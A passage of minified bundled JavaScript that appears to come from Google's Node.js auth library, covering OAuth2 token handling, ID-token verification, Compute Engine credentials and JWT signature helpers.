q.message=Y.error.message,q.code=Y.error.code;else if(K&&K.status>=400)q.message=Y,q.status=K.status;return q}}$o4.DefaultTransporter=_hA;_hA.USER_AGENT=`${Xo4}/${Ls9.version}`});var Wu=v((bH6,Zo4)=>{/*! safe-buffer. MIT License. Feross Aboukhadijeh <https://feross.org/opensource> */var sz1=CA("buffer"),Zu=sz1.Buffer;function Go4(A,K){for(var q in A)K[q]=A[q]}if(Zu.from&&Zu.alloc&&Zu.allocUnsafe&&Zu.allocUnsafeSlow)Zo4.exports=sz1;else Go4(sz1,bH6),bH6.Buffer=u7A;function u7A(A,K,q){return Zu(A,K,q)}u7A.prototype=Object.create(Zu.prototype);Go4(Zu,u7A);u7A.from=function(A,K,q){if(typeof A==="number")throw TypeError("Argument must not be a number");return Zu(A,K,q)};u7A.alloc=function(A,K,q){if(typeof A!=="number")throw TypeError("Argument must be a number");var Y=Zu(A);if(K!==void 0)if(typeof q==="string")Y.fill(K,q);else Y.fill(K);else Y.fill(0);return Y};u7A.allocUnsafe=function(A){if(typeof A!=="number")throw TypeError("Argument must be a number");return Zu(A)};u7A.allocUnsafeSlow=function(A){if(typeof A!=="number")throw TypeError("Argument must be a number");return sz1.SlowBuffer(A)}});var Do4=v((hTw,Wo4)=>{function xH6(A){var K=(A/8|0)+(A%8===0?0:1);return K}var Rs9={ES256:xH6(256),ES384:xH6(384),ES512:xH6(521)};function ys9(A){var K=Rs9[A];if(K)return K;throw Error('Unknown algorithm "'+A+'"')}Wo4.exports=ys9});var Kw1=v((bTw,No4)=>{var tz1=Wu().Buffer,Mo4=Do4(),ez1=128,Po4=0,Is9=32,Ss9=16,hs9=2,Vo4=Ss9|Is9|Po4<<6,Aw1=hs9|Po4<<6;function bs9(A){return A.replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_")}function fo4(A){if(tz1.isBuffer(A))return A;else if(typeof A==="string")return tz1.from(A,"base64");throw TypeError("ECDSA signature must be a Base64 string or a Buffer")}function xs9(A,K){A=fo4(A);var q=Mo4(K),Y=q+1,z=A.length,w=0;if(A[w++]!==Vo4)throw Error('Could not find expected "seq"');var H=A[w++];if(H===(ez1|1))H=A[w++];if(z-w<H)throw Error('"seq" specified length of "'+H+'", only "'+(z-w)+'" remaining');if(A[w++]!==Aw1)throw Error('Could not find expected "int" for "r"');var J=A[w++];if(z-w-2<J)throw Error('"r" specified length of "'+J+'", only "'+(z-w-2)+'" available');if(Y<J)throw Error('"r" specified length of "'+J+'", max of "'+Y+'" is acceptable');var O=w;if(w+=J,A[w++]!==Aw1)throw Error('Could not find expected "int" for "s"');var X=A[w++];if(z-w!==X)throw Error('"s" specified length of "'+X+'", expected "'+(z-w)+'"');if(Y<X)throw Error('"s" specified length of "'+X+'", max of "'+Y+'" is acceptable');var $=w;if(w+=X,w!==z)throw Error('Expected to consume entire buffer, but "'+(z-w)+'" bytes remain');var _=q-J,G=q-X,Z=tz1.allocUnsafe(_+J+G+X);for(w=0;w<_;++w)Z[w]=0;A.copy(Z,w,O+Math.max(-_,0),O+J),w=q;for(var W=w;w<W+G;++w)Z[w]=0;return A.copy(Z,w,$+Math.max(-G,0),$+X),Z=Z.toString("base64"),Z=bs9(Z),Z}function jo4(A,K,q){var Y=0;while(K+Y<q&&A[K+Y]===0)++Y;var z=A[K+Y]>=ez1;if(z)--Y;return Y}function us9(A,K){A=fo4(A);var q=Mo4(K),Y=A.length;if(Y!==q*2)throw TypeError('"'+K+'" signatures must be "'+q*2+'" bytes, saw "'+Y+'"');var z=jo4(A,0,q),w=jo4(A,q,A.length),H=q-z,J=q-w,O=2+H+1+1+J,X=O<ez1,$=tz1.allocUnsafe((X?2:3)+O),_=0;if($[_++]=Vo4,X)$[_++]=O;else $[_++]=ez1|1,$[_++]=O&255;if($[_++]=Aw1,$[_++]=H,z<0)$[_++]=0,_+=A.copy($,_,0,q);else _+=A.copy($,_,z,q);if($[_++]=Aw1,$[_++]=J,w<0)$[_++]=0,A.copy($,_,q);else A.copy($,_,q+w);return $}No4.exports={derToJose:xs9,joseToDer:us9}});var _o=v(($o)=>{var sy=$o&&$o.__classPrivateFieldGet||function(A,K,q,Y){if(q==="a"&&!Y)throw TypeError("Private accessor was defined without a getter");if(typeof K==="function"?A!==K||!Y:!K.has(A))throw TypeError("Cannot read private member from an object whose class did not declare it");return q==="m"?Y:q==="a"?Y.call(A):Y?Y.value:K.get(A)},j_A,ZU,uH6,BH6;Object.defineProperty($o,"__esModule",{value:!0});$o.LRUCache=void 0;$o.snakeToCamel=To4;$o.originalOrCamelOptions=Bs9;function To4(A){return A.replace(/([_][^_])/g,(K)=>K.slice(1).toUpperCase())}function Bs9(A){function K(q){var Y;let z=A||{};return(Y=z[q])!==null&&Y!==void 0?Y:z[To4(q)]}return{get:K}}class vo4{constructor(A){j_A.add(this),ZU.set(this,new Map),this.capacity=A.capacity,this.maxAge=A.maxAge}set(A,K){sy(this,j_A,"m",uH6).call(this,A,K),sy(this,j_A,"m",BH6).call(this)}get(A){let K=sy(this,ZU,"f").get(A);if(!K)return;return sy(this,j_A,"m",uH6).call(this,A,K.value),sy(this,j_A,"m",BH6).call(this),K.value}}$o.LRUCache=vo4;ZU=new WeakMap,j_A=new WeakSet,uH6=function(K,q){sy(this,ZU,"f").delete(K),sy(this,ZU,"f").set(K,{value:q,lastAccessed:Date.now()})},BH6=function(){let K=this.maxAge?Date.now()-this.maxAge:0,q=sy(this,ZU,"f").entries().next();while(!q.done&&(sy(this,ZU,"f").size>this.capacity||q.value[1].lastAccessed<K))sy(this,ZU,"f").delete(q.value[0]),q=sy(this,ZU,"f").entries().next()}});var Du=v((Lo4)=>{Object.defineProperty(Lo4,"__esModule",{value:!0});Lo4.AuthClient=Lo4.DEFAULT_EAGER_REFRESH_THRESHOLD_MILLIS=Lo4.DEFAULT_UNIVERSE=void 0;var ms9=CA("events"),Eo4=oy(),ko4=GhA(),gs9=_o();Lo4.DEFAULT_UNIVERSE="googleapis.com";Lo4.DEFAULT_EAGER_REFRESH_THRESHOLD_MILLIS=300000;class Co4 extends ms9.EventEmitter{constructor(A={}){var K,q,Y,z,w;super();this.credentials={},this.eagerRefreshThresholdMillis=Lo4.DEFAULT_EAGER_REFRESH_THRESHOLD_MILLIS,this.forceRefreshOnFailure=!1,this.universeDomain=Lo4.DEFAULT_UNIVERSE;let H=(0,gs9.originalOrCamelOptions)(A);if(this.apiKey=A.apiKey,this.projectId=(K=H.get("project_id"))!==null&&K!==void 0?K:null,this.quotaProjectId=H.get("quota_project_id"),this.credentials=(q=H.get("credentials"))!==null&&q!==void 0?q:{},this.universeDomain=(Y=H.get("universe_domain"))!==null&&Y!==void 0?Y:Lo4.DEFAULT_UNIVERSE,this.transporter=(z=A.transporter)!==null&&z!==void 0?z:new ko4.DefaultTransporter,A.transporterOptions)this.transporter.defaults=A.transporterOptions;if(A.eagerRefreshThresholdMillis)this.eagerRefreshThresholdMillis=A.eagerRefreshThresholdMillis;this.forceRefreshOnFailure=(w=A.forceRefreshOnFailure)!==null&&w!==void 0?w:!1}get gaxios(){if(this.transporter instanceof Eo4.Gaxios)return this.transporter;else if(this.transporter instanceof ko4.DefaultTransporter)return this.transporter.instance;else if("instance"in this.transporter&&this.transporter.instance instanceof Eo4.Gaxios)return this.transporter.instance;return null}setCredentials(A){this.credentials=A}addSharedMetadataHeaders(A){if(!A["x-goog-user-project"]&&this.quotaProjectId)A["x-goog-user-project"]=this.quotaProjectId;return A}static get RETRY_CONFIG(){return{retry:!0,retryConfig:{httpMethodsToRetry:["GET","PUT","POST","HEAD","OPTIONS","DELETE"]}}}}Lo4.AuthClient=Co4});var gH6=v((So4)=>{Object.defineProperty(So4,"__esModule",{value:!0});So4.LoginTicket=void 0;class Io4{constructor(A,K){this.envelope=A,this.payload=K}getEnvelope(){return this.envelope}getPayload(){return this.payload}getUserId(){let A=this.getPayload();if(A&&A.sub)return A.sub;return null}getAttributes(){return{envelope:this.getEnvelope(),payload:this.getPayload()}}}So4.LoginTicket=Io4});var B7A=v((xo4)=>{Object.defineProperty(xo4,"__esModule",{value:!0});xo4.OAuth2Client=xo4.ClientAuthentication=xo4.CertificateFormat=xo4.CodeChallengeMethod=void 0;var Fs9=oy(),FH6=CA("querystring"),Qs9=CA("stream"),Us9=Kw1(),QH6=W_A(),ps9=Du(),ds9=gH6(),bo4;(function(A){A.Plain="plain",A.S256="S256"})(bo4||(xo4.CodeChallengeMethod=bo4={}));var WU;(function(A){A.PEM="PEM",A.JWK="JWK"})(WU||(xo4.CertificateFormat=WU={}));var ZhA;(function(A){A.ClientSecretPost="ClientSecretPost",A.ClientSecretBasic="ClientSecretBasic",A.None="None"})(ZhA||(xo4.ClientAuthentication=ZhA={}));class NM extends ps9.AuthClient{constructor(A,K,q){let Y=A&&typeof A==="object"?A:{clientId:A,clientSecret:K,redirectUri:q};super(Y);this.certificateCache={},this.certificateExpiry=null,this.certificateCacheFormat=WU.PEM,this.refreshTokenPromises=new Map,this._clientId=Y.clientId,this._clientSecret=Y.clientSecret,this.redirectUri=Y.redirectUri,this.endpoints={tokenInfoUrl:"https://oauth2.googleapis.com/tokeninfo",oauth2AuthBaseUrl:"https://accounts.google.com/o/oauth2/v2/auth",oauth2TokenUrl:"https://oauth2.googleapis.com/token",oauth2RevokeUrl:"https://oauth2.googleapis.com/revoke",oauth2FederatedSignonPemCertsUrl:"https://www.googleapis.com/oauth2/v1/certs",oauth2FederatedSignonJwkCertsUrl:"https://www.googleapis.com/oauth2/v3/certs",oauth2IapPublicKeyUrl:"https://www.gstatic.com/iap/verify/public_key",...Y.endpoints},this.clientAuthentication=Y.clientAuthentication||ZhA.ClientSecretPost,this.issuers=Y.issuers||["accounts.google.com","https://accounts.google.com",this.universeDomain]}generateAuthUrl(A={}){if(A.code_challenge_method&&!A.code_challenge)throw Error("If a code_challenge_method is provided, code_challenge must be included.");if(A.response_type=A.response_type||"code",A.client_id=A.client_id||this._clientId,A.redirect_uri=A.redirect_uri||this.redirectUri,Array.isArray(A.scope))A.scope=A.scope.join(" ");return this.endpoints.oauth2AuthBaseUrl.toString()+"?"+FH6.stringify(A)}generateCodeVerifier(){throw Error("generateCodeVerifier is removed, please use generateCodeVerifierAsync instead.")}async generateCodeVerifierAsync(){let A=(0,QH6.createCrypto)(),q=A.randomBytesBase64(96).replace(/\+/g,"~").replace(/=/g,"_").replace(/\//g,"-"),z=(await A.sha256DigestBase64(q)).split("=")[0].replace(/\+/g,"-").replace(/\//g,"_");return{codeVerifier:q,codeChallenge:z}}getToken(A,K){let q=typeof A==="string"?{code:A}:A;if(K)this.getTokenAsync(q).then((Y)=>K(null,Y.tokens,Y.res),(Y)=>K(Y,null,Y.response));else return this.getTokenAsync(q)}async getTokenAsync(A){let K=this.endpoints.oauth2TokenUrl.toString(),q={"Content-Type":"application/x-www-form-urlencoded"},Y={client_id:A.client_id||this._clientId,code_verifier:A.codeVerifier,code:A.code,grant_type:"authorization_code",redirect_uri:A.redirect_uri||this.redirectUri};if(this.clientAuthentication===ZhA.ClientSecretBasic){let H=Buffer.from(`${this._clientId}:${this._clientSecret}`);q.Authorization=`Basic ${H.toString("base64")}`}if(this.clientAuthentication===ZhA.ClientSecretPost)Y.client_secret=this._clientSecret;let z=await this.transporter.request({...NM.RETRY_CONFIG,method:"POST",url:K,data:FH6.stringify(Y),headers:q}),w=z.data;if(z.data&&z.data.expires_in)w.expiry_date=new Date().getTime()+z.data.expires_in*1000,delete w.expires_in;return this.emit("tokens",w),{tokens:w,res:z}}async refreshToken(A){if(!A)return this.refreshTokenNoCache(A);if(this.refreshTokenPromises.has(A))return this.refreshTokenPromises.get(A);let K=this.refreshTokenNoCache(A).then((q)=>{return this.refreshTokenPromises.delete(A),q},(q)=>{throw this.refreshTokenPromises.delete(A),q});return this.refreshTokenPromises.set(A,K),K}async refreshTokenNoCache(A){var K;if(!A)throw Error("No refresh token is set.");let q=this.endpoints.oauth2TokenUrl.toString(),Y={refresh_token:A,client_id:this._clientId,client_secret:this._clientSecret,grant_type:"refresh_token"},z;try{z=await this.transporter.request({...NM.RETRY_CONFIG,method:"POST",url:q,data:FH6.stringify(Y),headers:{"Content-Type":"application/x-www-form-urlencoded"}})}catch(H){if(H instanceof Fs9.GaxiosError&&H.message==="invalid_grant"&&((K=H.response)===null||K===void 0?void 0:K.data)&&/ReAuth/i.test(H.response.data.error_description))H.message=JSON.stringify(H.response.data);throw H}let w=z.data;if(z.data&&z.data.expires_in)w.expiry_date=new Date().getTime()+z.data.expires_in*1000,delete w.expires_in;return this.emit("tokens",w),{tokens:w,res:z}}refreshAccessToken(A){if(A)this.refreshAccessTokenAsync().then((K)=>A(null,K.credentials,K.res),A);else return this.refreshAccessTokenAsync()}async refreshAccessTokenAsync(){let A=await this.refreshToken(this.credentials.refresh_token),K=A.tokens;return K.refresh_token=this.credentials.refresh_token,this.credentials=K,{credentials:this.credentials,res:A.res}}getAccessToken(A){if(A)this.getAccessTokenAsync().then((K)=>A(null,K.token,K.res),A);else return this.getAccessTokenAsync()}async getAccessTokenAsync(){if(!this.credentials.access_token||this.isTokenExpiring()){if(!this.credentials.refresh_token)if(this.refreshHandler){let q=await this.processAndValidateRefreshHandler();if(q===null||q===void 0?void 0:q.access_token)return this.setCredentials(q),{token:this.credentials.access_token}}else throw Error("No refresh token or refresh handler callback is set.");let K=await this.refreshAccessTokenAsync();if(!K.credentials||K.credentials&&!K.credentials.access_token)throw Error("Could not refresh access token.");return{token:K.credentials.access_token,res:K.res}}else return{token:this.credentials.access_token}}async getRequestHeaders(A){return(await this.getRequestMetadataAsync(A)).headers}async getRequestMetadataAsync(A){let K=this.credentials;if(!K.access_token&&!K.refresh_token&&!this.apiKey&&!this.refreshHandler)throw Error("No access, refresh token, API key or refresh handler callback is set.");if(K.access_token&&!this.isTokenExpiring()){K.token_type=K.token_type||"Bearer";let H={Authorization:K.token_type+" "+K.access_token};return{headers:this.addSharedMetadataHeaders(H)}}if(this.refreshHandler){let H=await this.processAndValidateRefreshHandler();if(H===null||H===void 0?void 0:H.access_token){this.setCredentials(H);let J={Authorization:"Bearer "+this.credentials.access_token};return{headers:this.addSharedMetadataHeaders(J)}}}if(this.apiKey)return{headers:{"X-Goog-Api-Key":this.apiKey}};let q=null,Y=null;try{q=await this.refreshToken(K.refresh_token),Y=q.tokens}catch(H){let J=H;if(J.response&&(J.response.status===403||J.response.status===404))J.message=`Could not refresh access token: ${J.message}`;throw J}let z=this.credentials;z.token_type=z.token_type||"Bearer",Y.refresh_token=z.refresh_token,this.credentials=Y;let w={Authorization:z.token_type+" "+Y.access_token};return{headers:this.addSharedMetadataHeaders(w),res:q.res}}static getRevokeTokenUrl(A){return new NM().getRevokeTokenURL(A).toString()}getRevokeTokenURL(A){let K=new URL(this.endpoints.oauth2RevokeUrl);return K.searchParams.append("token",A),K}revokeToken(A,K){let q={...NM.RETRY_CONFIG,url:this.getRevokeTokenURL(A).toString(),method:"POST"};if(K)this.transporter.request(q).then((Y)=>K(null,Y),K);else return this.transporter.request(q)}revokeCredentials(A){if(A)this.revokeCredentialsAsync().then((K)=>A(null,K),A);else return this.revokeCredentialsAsync()}async revokeCredentialsAsync(){let A=this.credentials.access_token;if(this.credentials={},A)return this.revokeToken(A);else throw Error("No access token to revoke.")}request(A,K){if(K)this.requestAsync(A).then((q)=>K(null,q),(q)=>{return K(q,q.response)});else return this.requestAsync(A)}async requestAsync(A,K=!1){let q;try{let Y=await this.getRequestMetadataAsync(A.url);if(A.headers=A.headers||{},Y.headers&&Y.headers["x-goog-user-project"])A.headers["x-goog-user-project"]=Y.headers["x-goog-user-project"];if(Y.headers&&Y.headers.Authorization)A.headers.Authorization=Y.headers.Authorization;if(this.apiKey)A.headers["X-Goog-Api-Key"]=this.apiKey;q=await this.transporter.request(A)}catch(Y){let z=Y.response;if(z){let w=z.status,H=this.credentials&&this.credentials.access_token&&this.credentials.refresh_token&&(!this.credentials.expiry_date||this.forceRefreshOnFailure),J=this.credentials&&this.credentials.access_token&&!this.credentials.refresh_token&&(!this.credentials.expiry_date||this.forceRefreshOnFailure)&&this.refreshHandler,O=z.config.data instanceof Qs9.Readable,X=w===401||w===403;if(!K&&X&&!O&&H)return await this.refreshAccessTokenAsync(),this.requestAsync(A,!0);else if(!K&&X&&!O&&J){let $=await this.processAndValidateRefreshHandler();if($===null||$===void 0?void 0:$.access_token)this.setCredentials($);return this.requestAsync(A,!0)}}throw Y}return q}verifyIdToken(A,K){if(K&&typeof K!=="function")throw Error("This method accepts an options object as the first parameter, which includes the idToken, audience, and maxExpiry.");if(K)this.verifyIdTokenAsync(A).then((q)=>K(null,q),K);else return this.verifyIdTokenAsync(A)}async verifyIdTokenAsync(A){if(!A.idToken)throw Error("The verifyIdToken method requires an ID Token");let K=await this.getFederatedSignonCertsAsync();return await this.verifySignedJwtWithCertsAsync(A.idToken,K.certs,A.audience,this.issuers,A.maxExpiry)}async getTokenInfo(A){let{data:K}=await this.transporter.request({...NM.RETRY_CONFIG,method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded",Authorization:`Bearer ${A}`},url:this.endpoints.tokenInfoUrl.toString()}),q=Object.assign({expiry_date:new Date().getTime()+K.expires_in*1000,scopes:K.scope.split(" ")},K);return delete q.expires_in,delete q.scope,q}getFederatedSignonCerts(A){if(A)this.getFederatedSignonCertsAsync().then((K)=>A(null,K.certs,K.res),A);else return this.getFederatedSignonCertsAsync()}async getFederatedSignonCertsAsync(){let A=new Date().getTime(),K=(0,QH6.hasBrowserCrypto)()?WU.JWK:WU.PEM;if(this.certificateExpiry&&A<this.certificateExpiry.getTime()&&this.certificateCacheFormat===K)return{certs:this.certificateCache,format:K};let q,Y;switch(K){case WU.PEM:Y=this.endpoints.oauth2FederatedSignonPemCertsUrl.toString();break;case WU.JWK:Y=this.endpoints.oauth2FederatedSignonJwkCertsUrl.toString();break;default:throw Error(`Unsupported certificate format ${K}`)}try{q=await this.transporter.request({...NM.RETRY_CONFIG,url:Y})}catch(O){if(O instanceof Error)O.message=`Failed to retrieve verification certificates: ${O.message}`;throw O}let z=q?q.headers["cache-control"]:void 0,w=-1;if(z){let X=new RegExp("max-age=([0-9]*)").exec(z);if(X&&X.length===2)w=Number(X[1])*1000}let H={};switch(K){case WU.PEM:H=q.data;break;case WU.JWK:for(let O of q.data.keys)H[O.kid]=O;break;default:throw Error(`Unsupported certificate format ${K}`)}let J=new Date;return this.certificateExpiry=w===-1?null:new Date(J.getTime()+w),this.certificateCache=H,this.certificateCacheFormat=K,{certs:H,format:K,res:q}}getIapPublicKeys(A){if(A)this.getIapPublicKeysAsync().then((K)=>A(null,K.pubkeys,K.res),A);else return this.getIapPublicKeysAsync()}async getIapPublicKeysAsync(){let A,K=this.endpoints.oauth2IapPublicKeyUrl.toString();try{A=await this.transporter.request({...NM.RETRY_CONFIG,url:K})}catch(q){if(q instanceof Error)q.message=`Failed to retrieve verification certificates: ${q.message}`;throw q}return{pubkeys:A.data,res:A}}verifySignedJwtWithCerts(){throw Error("verifySignedJwtWithCerts is removed, please use verifySignedJwtWithCertsAsync instead.")}async verifySignedJwtWithCertsAsync(A,K,q,Y,z){let w=(0,QH6.createCrypto)();if(!z)z=NM.DEFAULT_MAX_TOKEN_LIFETIME_SECS_;let H=A.split(".");if(H.length!==3)throw Error("Wrong number of segments in token: "+A);let J=H[0]+"."+H[1],O=H[2],X,$;try{X=JSON.parse(w.decodeBase64StringUtf8(H[0]))}catch(P){if(P instanceof Error)P.message=`Can't parse token envelope: ${H[0]}': ${P.message}`;throw P}if(!X)throw Error("Can't parse token envelope: "+H[0]);try{$=JSON.parse(w.decodeBase64StringUtf8(H[1]))}catch(P){if(P instanceof Error)P.message=`Can't parse token payload '${H[0]}`;throw P}if(!$)throw Error("Can't parse token payload: "+H[1]);if(!Object.prototype.hasOwnProperty.call(K,X.kid))throw Error("No pem found for envelope: "+JSON.stringify(X));let _=K[X.kid];if(X.alg==="ES256")O=Us9.joseToDer(O,"ES256").toString("base64");if(!await w.verify(_,J,O))throw Error("Invalid token signature: "+A);if(!$.iat)throw Error("No issue time in token: "+JSON.stringify($));if(!$.exp)throw Error("No expiration time in token: "+JSON.stringify($));let Z=Number($.iat);if(isNaN(Z))throw Error("iat field using invalid format");let W=Number($.exp);if(isNaN(W))throw Error("exp field using invalid format");let D=new Date().getTime()/1000;if(W>=D+z)throw Error("Expiration time too far in future: "+JSON.stringify($));let j=Z-NM.CLOCK_SKEW_SECS_,M=W+NM.CLOCK_SKEW_SECS_;if(D<j)throw Error("Token used too early, "+D+" < "+j+": "+JSON.stringify($));if(D>M)throw Error("Token used too late, "+D+" > "+M+": "+JSON.stringify($));if(Y&&Y.indexOf($.iss)<0)throw Error("Invalid issuer, expected one of ["+Y+"], but got "+$.iss);if(typeof q<"u"&&q!==null){let P=$.aud,f=!1;if(q.constructor===Array)f=q.indexOf(P)>-1;else f=P===q;if(!f)throw Error("Wrong recipient, payload audience != requiredAudience")}return new ds9.LoginTicket(X,$)}async processAndValidateRefreshHandler(){if(this.refreshHandler){let A=await this.refreshHandler();if(!A.access_token)throw Error("No access token is returned by the refreshHandler callback.");return A}return}isTokenExpiring(){let A=this.credentials.expiry_date;return A?A<=new Date().getTime()+this.eagerRefreshThresholdMillis:!1}}xo4.OAuth2Client=NM;NM.GOOGLE_TOKEN_INFO_URL="https://oauth2.googleapis.com/tokeninfo";NM.CLOCK_SKEW_SECS_=300;NM.DEFAULT_MAX_TOKEN_LIFETIME_SECS_=86400});var UH6=v((go4)=>{Object.defineProperty(go4,"__esModule",{value:!0});go4.Compute=void 0;var ns9=oy(),Bo4=$hA(),rs9=B7A();class mo4 extends rs9.OAuth2Client{constructor(A={}){super(A);this.credentials={expiry_date:1,refresh_token:"compute-placeholder"},this.serviceAccountEmail=A.serviceAccountEmail||"default",this.scopes=Array.isArray(A.scopes)?A.scopes:A.scopes?[A.scopes]:[]}async refreshTokenNoCache(A){let K=`service-accounts/${this.serviceAccountEmail}/token`,q;try{let z={property:K};if(this.scopes.length>0)z.params={scopes:this.scopes.join(",")};q=await Bo4.instance(z)}catch(z){if(z instanceof ns9.GaxiosError)z.message=`Could not refresh access token: ${z.message}`,this.wrapError(z);throw z}let Y=q;if(q&&q.expires_in)Y.expiry_date=new Date().getTime()+q.expires_in*1000,delete Y.expires_in;return this.emit("tokens",Y),{tokens:Y,res:null}}async fetchIdToken(A){let K=`service-accounts/${this.serviceAccountEmail}/identity?format=full&audience=${A}`,q;try{let Y={property:K};q=await Bo4.instance(Y)}catch(Y){if(Y instanceof Error)Y.message=`Could not fetch ID token: ${Y.message}`;throw Y}return q}wrapError(A){let K=A.response;if(K&&K.status){if(A.status=K.status,K.status===403)A.message="A Forbidden error was returned while attempting to retrieve an access token for the Compute Engine built-in service account. This may be because the Compute Engine instance does not have the correct permission scopes specified: "+A.message;else if(K.status===404)A.message="A Not Found error was returned while attempting to retrieve an accesstoken for the Compute Engine built-in service account. This may be because the Compute Engine instance does not have any permission scopes specified: "+A.message}}}go4.Compute=mo4});var pH6=v((Uo4)=>{Object.defineProperty(Uo4,"__esModule",{value:!0});Uo4.IdTokenClient=void 0;var os9=B7A();class Qo4 extends os9.OAuth2Client{constructor(A){super(A);this.targetAudience=A.targetAudience,this.idTokenProvider=A.idTokenProvider}async getRequestMetadataAsync(A){if(!this.credentials.id_token||!this.credentials.expiry_date||this.isTokenExpiring()){let q=await this.idTokenProvider.fetchIdToken(this.targetAudience);this.credentials={id_token:q,expiry_date:this.getIdTokenExpiryDate(q)}}return{headers:{Authorization:"Bearer "+this.credentials.id_token}}}getIdTokenExpiryDate(A){let K=A.split(".")[1];if(K)return JSON.parse(Buffer.from(K,"base64").toString("ascii")).exp*1000}}Uo4.IdTokenClient=Qo4});var dH6=v((co4)=>{Object.defineProperty(co4,"__esModule",{value:!0});co4.GCPEnv=void 0;co4.clear=as9;co4.getEnv=ss9;var do4=$hA(),DU;(function(A){A.APP_ENGINE="APP_ENGINE",A.KUBERNETES_ENGINE="KUBERNETES_ENGINE",A.CLOUD_FUNCTIONS="CLOUD_FUNCTIONS",A.COMPUTE_ENGINE="COMPUTE_ENGINE",A.CLOUD_RUN="CLOUD_RUN",A.NONE="NONE"})(DU||(co4.GCPEnv=DU={}));var WhA;function as9(){WhA=void 0}async function ss9(){if(WhA)return WhA;return WhA=ts9(),WhA}async function ts9(){let A=DU.NONE;if(es9())A=DU.APP_ENGINE;else if(At9())A=DU.CLOUD_FUNCTIONS;else if(await Yt9())if(await qt9())A=DU.KUBERNETES_ENGINE;else if(Kt9())A=DU.CLOUD_RUN;else A=DU.COMPUTE_ENGINE;else A=DU.NONE;return A}function es9(){return!!(process.env.GAE_SERVICE||process.env.GAE_MODULE_NAME)}function At9(){return!!(process.env.FUNCTION_NAME||process.env.FUNCTION_TARGET)}function Kt9(){return!!process.env.K_CONFIGURATION}async function qt9(){try{return await do4.instance("attributes/cluster-name"),!0}catch(A){return!1}}async function Yt9(){return do4.isAvailable()}});var cH6=v((UTw,io4)=>{var qw1=Wu().Buffer,Ht9=CA("stream"),Jt9=CA("util");function Yw1(A){if(this.buffer=null,this.writable=!0,this.readable=!0,!A)return this.buffer=qw1.alloc(0),this;if(typeof A.pipe==="function")return this.buffer=qw1.alloc(0),A.pipe(this),this;if(A.length||typeof A==="object")return this.buffer=A,this.writable=!1,process.nextTick(function(){this.emit("end",A),this.readable=!1,this.emit("close")}.bind(this)),this;throw TypeError("Unexpected data type ("+typeof A+")")}Jt9.inherits(Yw1,Ht9);Yw1.prototype.write=function(K){this.buffer=qw1.concat([this.buffer,qw1.from(K)]),this.emit("data",K)};Yw1.prototype.end=function(K){if(K)this.write(K);this.emit("end",K),this.emit("close"),this.writable=!1,this.readable=!1};io4.exports=Yw1});var iH6=v((pTw,no4)=>{var DhA=CA("buffer").Buffer,lH6=CA("buffer").SlowBuffer;no4.exports=zw1;function zw1(A,K){if(!DhA.isBuffer(A)||!DhA.isBuffer(K))return!1;if(A.length!==K.length)return!1;var q=0;for(var Y=0;Y<A.length;Y++)q|=A[Y]^K[Y];return q===0}zw1.install=function(){DhA.prototype.equal=lH6.prototype.equal=function(K){return zw1(this,K)}};var Ot9=DhA.prototype.equal,Xt9=lH6.prototype.equal;zw1.restore=function(){DhA.prototype.equal=Ot9,lH6.prototype.equal=Xt9}});var aH6=v((dTw,qa4)=>{var P_A=Wu().Buffer,GC=CA("crypto"),oo4=Kw1(),ro4=CA("util"),$t9=`"%s" is not a valid algorithm. Supported algorithms are: "HS256", "HS384", "HS512", "RS256", "RS384", "RS512", "PS256", "PS384", "PS512", "ES256", "ES384", "ES512" and "none".`,jhA="secret must be a string or buffer",M_A="key must be a string or a buffer",_t9="key must be a string, a buffer or an object",rH6=typeof GC.createPublicKey==="function";if(rH6)M_A+=" or a KeyObject",jhA+="or a KeyObject";function ao4(A){if(P_A.isBuffer(A))return;if(typeof A==="string")return;if(!rH6)throw ty(M_A);if(typeof A!=="object")throw ty(M_A);if(typeof A.type!=="string")throw ty(M_A);if(typeof A.asymmetricKeyType!=="string")throw ty(M_A);if(typeof A.export!=="function")throw ty(M_A)}function so4(A){if(P_A.isBuffer(A))return;if(typeof A==="string")return;if(typeof A==="object")return;throw ty(_t9)}function Gt9(A){if(P_A.isBuffer(A))return;if(typeof A==="string")return A;if(!rH6)throw ty(jhA);if(typeof A!=="object")throw ty(jhA);if(A.type!=="secret")throw ty(jhA);if(typeof A.export!=="function")throw ty(jhA)}function oH6(A){return A.replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_")}function to4(A){A=A.toString();var K=4-A.length%4;if(K!==4)for(var q=0;q<K;++q)A+="=";return A.replace(/\-/g,"+").replace(/_/g,"/")}function ty(A){var K=[].slice.call(arguments,1),q=ro4.format.bind(ro4,A).apply(null,K);return TypeError(q)}function Zt9(A){return P_A.isBuffer(A)||typeof A==="string"}function MhA(A){if(!Zt9(A))A=JSON.stringify(A);return A}function eo4(A){return function(q,Y){Gt9(Y),q=MhA(q);var z=GC.createHmac("sha"+A,Y),w=(z.update(q),z.digest("base64"));return oH6(w)}}var nH6,Wt9="timingSafeEqual"in GC?function(K,q){if(K.byteLength!==q.byteLength)return!1;return GC.timingSafeEqual(K,q)}:function(K,q){if(!nH6)nH6=iH6();return nH6(K,q)};function Dt9(A){return function(q,Y,z){var w=eo4(A)(q,z);return Wt9(P_A.from(Y),P_A.from(w))}}function Aa4(A){return function(q,Y){so4(Y),q=MhA(q);var z=GC.createSign("RSA-SHA"+A),w=(z.update(q),z.sign(Y,"base64"));return oH6(w)}}function Ka4(A){return function(q,Y,z){ao4(z),q=MhA(q),Y=to4(Y);var w=GC.createVerify("RSA-SHA"+A);return w.update(q),w.verify(z,Y,"base64")}}function jt9(A){return function(q,Y){so4(Y),q=MhA(q);var z=GC.createSign("RSA-SHA"+A),w=(z.update(q),z.sign({key:Y,padding:GC.constants.RSA_PKCS1_PSS_PADDING,saltLength:GC.constants.RSA_PSS_SALTLEN_DIGEST},"base64"));return oH6(w)}}function Mt9(A){return function(q,Y,z){ao4(z),q=MhA(q),Y=to4(Y);var w=GC.createVerify("RSA-SHA"+A);return w.update(q),w.verify({key:z,padding:GC.constants.RSA_PKCS1_PSS_PADDING,saltLength:GC.constants.RSA_PSS_SALTLEN_DIGEST},Y,"base64")}}function Pt9(A){var K=Aa4(A);return function(){var Y=K.apply(null,arguments);return Y=oo4.derToJose(Y,"ES"+A),Y}}function Vt9(A){var K=Ka4(A);return function(Y,z,w){z=oo4.joseToDer(z,"ES"+A).toString("base64");var H=K(Y,z,w);return H}}function ft9(){return function(){return""}}function Nt9(){return function(K,q){return q===""}}qa4.exports=function(K){var 